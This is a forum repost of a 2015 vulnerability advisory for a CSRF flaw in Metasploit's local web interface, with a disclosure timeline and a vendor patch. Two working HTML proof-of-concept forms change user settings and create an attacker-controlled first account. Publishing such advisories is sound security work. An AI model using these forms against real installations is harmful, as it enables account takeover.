Aerosol Posted March 18, 2015 Report Share Posted March 18, 2015 # Exploit Title: Metasploit Project initial User Creation CSRF# Google Dork: N/A# Date: 14-2-2015# Exploit Author: Mohamed Abdelbaset Elnoby (@SymbianSyMoh)# Vendor Homepage: http://www.metasploit.com/# Software Link:http://www.rapid7.com/products/metasploit/editions-and-features.jsp# Version: Free/Pro < 4.11.1 (Update 2015021901)# Tested on: All OS# CVE : N/AVulnerability:Cross Site Request Forgery - (CSRF)Info:http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)More Details:After doing some research, i have found that the anti csrf token"authenticity_token" value is not validated from the local server sidewhich will result in a more csrf attack scenario around the whole localmetasploit project.Affected URL(s)/PoC Code(s):-Change Local Metasploit Project User Settings<html><body><form action="https://127.0.0.1:3790/users/1" method="POST"><input type="hidden" name="utf8" value="?" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="authenticity_token" value="" /><input type="hidden" name="user[fullname]" value="Attacker" /><input type="hidden" name="user[email]" value="EMAIL" /><input type="hidden" name="user[company]" value="COMPANY" /><input type="hidden" name="user[time_zone]" value="Cairo" /><input type="hidden" name="commit" value="Save Settings" /><input type="submit" value="Submit form" /></form></body></html>-Full Local Metasploit Project Account Takeover before setting up the firstuser settings<html><body><form action="https://127.0.0.1:3790/users" method="POST"><input type="hidden" name="utf8" value="?" /><input type="hidden" name="authenticity_token" value="" /><input type="hidden" name="user[username]" value="Username" /><input type="hidden" name="user[password]" value="PASSWORD" /><input type="hidden" name="user[password_confirmation]"value="PASSWORD" /><input type="hidden" name="user[fullname]" value="FUll_Name" /><input type="hidden" name="user[email]" value="EMAIL" /><input type="hidden" name="user[company]" value="COMPANY" /><input type="hidden" name="user[time_zone]" value="Cairo" /><input type="hidden" name="commit" value="Create Account" /><input type="submit" value="Submit form" /></form></body></html>More Details/Impact:-Change Local Metasploit Project User Settings-Full Local Metasploit Project Account Takeover before setting up the firstuser settingsReport Timeline:[-] 14/02/2015: Reported to Rapid7 Security Team[-] 14/02/2015: Initial Reply from HD Moore acknowledging the vulnerability[-] 17/02/2015: Reply from "Eray Yilmaz" about the Operation and publicdisclosure rules[-] 20/02/2015: Reply from "Eray Yilmaz" about releasing a patch for thevulnerability in place, Fixed in Update 4.11.1 (Update 2015021901),https://community.rapid7.com/docs/DOC-3010[-] 16/03/2015: Public DisclosureThanks-- *Best Regards**,**,**Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist& Bug Bounty Hunter.LinkedIn<https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae<http://goo.gl/cNrVpL><https://www.linkedin.com/in/symbiansymoh>Facebook<https://fb.com/symbiansymoh>Twitter<https://twitter.com/symbiansymoh>Source Quote Link to comment Share on other sites More sharing options...
